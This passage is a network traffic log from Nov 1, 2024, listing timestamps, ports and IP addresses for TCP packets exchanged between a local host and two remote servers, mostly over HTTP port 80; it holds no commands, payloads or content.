Nov 1, 2024 12:14:49.708972931 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.708997965 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709023952 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709036112 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709044933 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709044933 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709048986 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709063053 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709074020 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709098101 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709530115 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709599972 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709603071 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709610939 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709625006 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709635973 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709638119 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.709664106 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709665060 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.709700108 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710057974 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710099936 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710112095 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710124969 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710125923 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710153103 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710153103 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710186005 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710197926 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710208893 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710222006 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.710222960 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710222960 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710251093 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.710251093 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.711262941 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711276054 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711287975 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711299896 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711318970 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711323977 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.711323977 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.711333036 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711347103 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711359978 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.711373091 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.711373091 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.711417913 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712050915 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712063074 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712074995 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712111950 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712124109 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712124109 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712126017 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712146044 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712152958 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712160110 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712172985 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.712179899 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712197065 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.712203026 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.713536024 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.713548899 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.713577032 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.713586092 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.713588953 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.713608980 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.713625908 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.713627100 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.713670015 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.778728008 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.778872013 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:49.778940916 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.866534948 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866553068 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866565943 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866586924 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866626024 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866673946 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866687059 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866698980 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866712093 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866720915 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866734982 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866749048 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866756916 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866760015 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866775036 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866772890 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866786957 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866792917 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866805077 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866806984 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866818905 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866821051 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866833925 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866842031 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866869926 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866873026 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866892099 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866894960 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866905928 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866914034 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866919041 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866935015 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866941929 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866941929 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866947889 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866961002 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866966009 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866978884 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866981030 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.866991997 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.866993904 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867006063 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867010117 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867021084 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867031097 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867034912 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867048025 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867058039 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867078066 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867100000 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867283106 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867327929 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867330074 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867345095 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867381096 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867391109 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867417097 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867429972 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867441893 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867448092 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867461920 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867463112 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867491007 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867535114 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867562056 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867568970 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867574930 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867587090 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867615938 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867635012 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867805958 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867840052 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867850065 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867862940 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867889881 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867901087 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867902040 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867913961 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867923021 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867933035 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.867960930 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.867989063 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868007898 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868021965 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868035078 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868046045 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868052959 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868063927 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868067026 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868082047 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868099928 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868133068 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868134975 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868146896 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868159056 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868171930 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868185997 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868202925 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868268967 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868283987 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868309975 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868311882 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868325949 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868333101 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868344069 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868350029 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868366003 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868374109 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868383884 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868387938 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868402004 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868412971 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868417025 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868429899 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868438005 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868463993 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868464947 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868477106 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868489027 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868503094 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868505955 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868521929 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868532896 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868534088 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.868558884 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.868571997 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871524096 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871553898 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871570110 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871582031 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871588945 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871603012 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871618032 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871632099 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871637106 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871649981 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871650934 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871665001 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871669054 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871680021 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.871686935 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.871717930 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872338057 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872350931 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872364044 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872375965 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872381926 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872400045 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872425079 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872498989 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872514009 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872519016 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872531891 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872545004 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872550011 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872556925 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872570992 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872574091 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872582912 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872596025 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872597933 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872612953 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872625113 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872634888 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872648954 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872653961 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872661114 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:49.872665882 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872693062 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.872710943 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:49.940496922 CET	49987	443	192.168.2.7	188.114.97.3
Nov 1, 2024 12:14:49.940534115 CET	443	49987	188.114.97.3	192.168.2.7
Nov 1, 2024 12:14:50.024013996 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024034023 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024045944 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024058104 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024070024 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024075031 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024085045 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024100065 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024100065 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024112940 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024127960 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024138927 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024139881 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024153948 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024152994 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024168015 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024185896 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024190903 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024205923 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024223089 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024229050 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024229050 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024250984 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024256945 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024272919 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024275064 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024291992 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024303913 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024317026 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024318933 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024333954 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024341106 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024359941 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024375916 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024404049 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024416924 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024429083 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024442911 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024445057 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024457932 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024460077 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024477959 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024490118 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024506092 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024518013 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024535894 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024537086 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024550915 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024550915 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024566889 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024569035 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024579048 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024590969 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024612904 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024619102 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024631023 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024642944 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024643898 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024657965 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024668932 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024669886 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024684906 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024697065 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024714947 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024732113 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024744034 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024751902 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024758101 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024770975 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024770975 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024782896 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024785042 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024802923 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024820089 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024826050 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024837017 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024849892 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024871111 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024877071 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024889946 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024893999 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024903059 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024916887 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024924040 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024929047 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024943113 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024943113 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024977922 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.024986029 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.024991989 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.025003910 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.025017023 CET	80	49988	185.215.113.16	192.168.2.7
Nov 1, 2024 12:14:50.025021076 CET	49988	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:14:50.025028944 CET	80	49988	185.215.113.16	192.168.2.7
